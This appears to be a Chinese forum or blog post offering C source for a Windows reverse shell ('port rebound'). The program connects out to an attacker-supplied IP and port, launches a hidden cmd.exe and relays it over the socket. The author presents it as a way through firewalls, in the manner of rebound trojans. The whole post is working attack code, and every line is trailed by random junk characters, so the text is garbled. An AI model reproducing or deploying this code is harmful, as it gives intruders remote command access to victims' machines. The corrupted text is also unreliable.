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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 CT|z[^  
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/* ============================== EC<5M5Lc  
Rebound port in Windows NT `Ac:f5a  
By wind,2006/7 ]PeLcB  
===============================*/ )V=0IZi  
#include :_>\DJ'>  
#include E^7C _JP  
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#pragma comment(lib,"wsock32.lib") ,o BlJvm  
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void OutputShell(); VK9Q?nu  
SOCKET sClient; q5%2WM]6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Tj Mb>w9  
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void main(int argc,char **argv) ^)|&|  
{ &j3` )N  
WSADATA stWsaData; >J.Qm0TY(  
int nRet; y7>iz6N  
SOCKADDR_IN stSaiClient,stSaiServer; {z=j_;<]  
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if(argc != 3) \$j^_C>  
{ oL#xDG  
printf("Useage:\n\rRebound DestIP DestPort\n"); ;{Xy`{Cg!  
return; j H(&oV  
} ;8BA~,4l  
 -H`\? R  
WSAStartup(MAKEWORD(2,2),&stWsaData); kQy&I3  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6eM6[  
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stSaiClient.sin_family = AF_INET; c& 3#-DNI  
stSaiClient.sin_port = htons(0); o/WC@!wg K  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  U7E  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l^ARW E  
{ 4\\.n  
printf("Bind Socket Failed!\n"); EA6t36|TX  
return; o!=WFAi[pX  
} te)n{K",  
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stSaiServer.sin_family = AF_INET; Ssw&'B|o  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); fSjs?zd`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U~wjR"='  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;@9e\!%  
{ L@nebT;\'  
printf("Connect Error!"); BMpF02Y|4  
return; #MglHQO+  
} IfMpY;ow=  
OutputShell(); 0Qp[\ia  
} JD ]OIh  
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void OutputShell() @UO}W_0ZD  
{ >ukQ, CE~  
char szBuff[1024]; U;p e:  
SECURITY_ATTRIBUTES stSecurityAttributes; /=T H08  
OSVERSIONINFO stOsversionInfo; SRItE\"Xe  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; W^k,Pmopy  
STARTUPINFO stStartupInfo; @;;G88=  
char *szShell; 0cFn{q'u  
PROCESS_INFORMATION stProcessInformation; 7TpRCq#  
unsigned long lBytesRead; c" +zgP  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;%Q&hwj  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q$T8bh,2  
stSecurityAttributes.lpSecurityDescriptor = 0; oNIFx5*Z  
stSecurityAttributes.bInheritHandle = TRUE; i4<BDX5  
ybE[B}pOeZ  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;NeEgqW "  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !5!$h` g  
tdF[2@?+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -$ z"74  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :Xh`.*{EX  
stStartupInfo.wShowWindow = SW_HIDE; vK`h;  
stStartupInfo.hStdInput = hReadPipe; j88sE MZ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ODA#vAc!  
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GetVersionEx(&stOsversionInfo); [ {LnE:  
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switch(stOsversionInfo.dwPlatformId) wQB{K3  
{ 6 <S&~q  
case 1: R9G)X]  
szShell = "command.com"; G$uOk?R#5c  
break; )uuEOF"w  
default: &novkkqY  
szShell = "cmd.exe"; $50"3g!Y  
break; B/kn&^z$|~  
} m@yVG|eP#  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #gJ~ {tA:  
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send(sClient,szMsg,77,0); Er1u1@  
while(1) /Py>HzRE:  
{ vD9D:vK  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C-^%g [#  
if(lBytesRead) - :z5m+  
{ 9|A-oS  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); cGzYW~K  
send(sClient,szBuff,lBytesRead,0); ;Jn0e:x`E  
} ,Ysl$^\  
else &dDI*v+  
{ $_zkq@  
lBytesRead=recv(sClient,szBuff,1024,0); 5po' (r|U  
if(lBytesRead<=0) break; :_,]?n  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rnv7L^9^A  
} EZumJ."  
} |QNLO#$ -  
m?% H<4X  
return; BRXb<M^;_  
}
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